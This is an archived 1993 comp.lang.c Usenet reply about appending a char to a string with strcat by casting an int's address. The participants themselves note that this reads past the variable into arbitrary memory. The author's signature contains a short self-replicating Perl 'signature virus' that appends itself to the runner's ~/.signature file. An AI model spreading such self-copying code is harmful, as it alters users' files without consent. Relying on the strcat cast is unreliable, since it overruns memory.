home *** CD-ROM | disk | FTP | other *** search
/ NetNews Usenet Archive 1993 #1 / NN_1993_1.iso / spool / comp / lang / c / 19302 < prev    next >
Encoding:
Internet Message Format  |  1993-01-06  |  2.0 KB

  1. Path: sparky!uunet!spool.mu.edu!umn.edu!cybrspc!roy
  2. From: roy%cybrspc@cs.umn.edu (Roy M. Silvernail)
  3. Newsgroups: comp.lang.c
  4. Subject: Re: Problem with string processing.
  5. Message-ID: <69qXwB2w165w@cybrspc.uucp>
  6. Date: Tue, 05 Jan 93 21:23:04 CST
  7. References: <MCGLK.93Jan5005833@yang.cpac.washington.edu>
  8. Organization: Villa CyberSpace, Minneapolis, MN
  9. Lines: 41
  10.  
  11. mcglk@cpac.washington.edu (Ken McGlothlen) writes:
  12.  
  13. > Roy M. Silvernail (roy%cybrspc@cs.umn.edu) writes:
  14. >
  15. > | Assuming a large enough string for the append, and low-high byte ordering,
  16. > | would this work?
  17. > |
  18. > | strcat(str,(char *)&ch);
  19. > +----------
  20. > Well, it would work *sometimes*.  Remember that strcat() expects two pointers
  21. > to ZERO-TERMINATED strings.  If what was stored in ch was immediately followe
  22. > by a zero byte ('\0'), then it *would* work.
  23.  
  24. OK, I was feeling a bit silly that evening, but I'm really asking a
  25. sideways pointer question.
  26.  
  27. The reasoning is:
  28.  
  29. The original example declared ch as int.  I assumed Intel ordering, so
  30. the character 'A', value 0x41, would actually be stored as an int, and
  31. so be at least 0x0041 (or longer).  The little-endian factor means this
  32. looks like 0x41, 0x00 in memory.  So, cast the pointer to ch as a
  33. (char *), and it seems like *(((char *)&ch)+1) == 0x00, and that ch could
  34. be briefly considered as a zero-terminated string of length 1.
  35.  
  36. Maybe that should be ((char *)&ch)[1] == 0x00, perhaps?  And naturally
  37. it fails on a big-endian machine, but I never said it was portable.
  38.  
  39. > But ch is stored wherever the
  40. > compiler wants to store it, and it could be followed by *anything*,
  41. > which means  that you could get a heck of a lot more characters on
  42. > the end of str than you bargained for.
  43.  
  44. Of course.  Let's just say I'm sharpening up my obfuscatory technique. :-}
  45. --
  46. Roy M. Silvernail --  roy%cybrspc@cs.umn.edu - OR-  cybrspc!roy@cs.umn.edu
  47. #! /usr/bin/perl
  48.          open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/;
  49.          open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__
  50.          <perl signature virus V2.0 - do 'perl -x articlename'>
  51.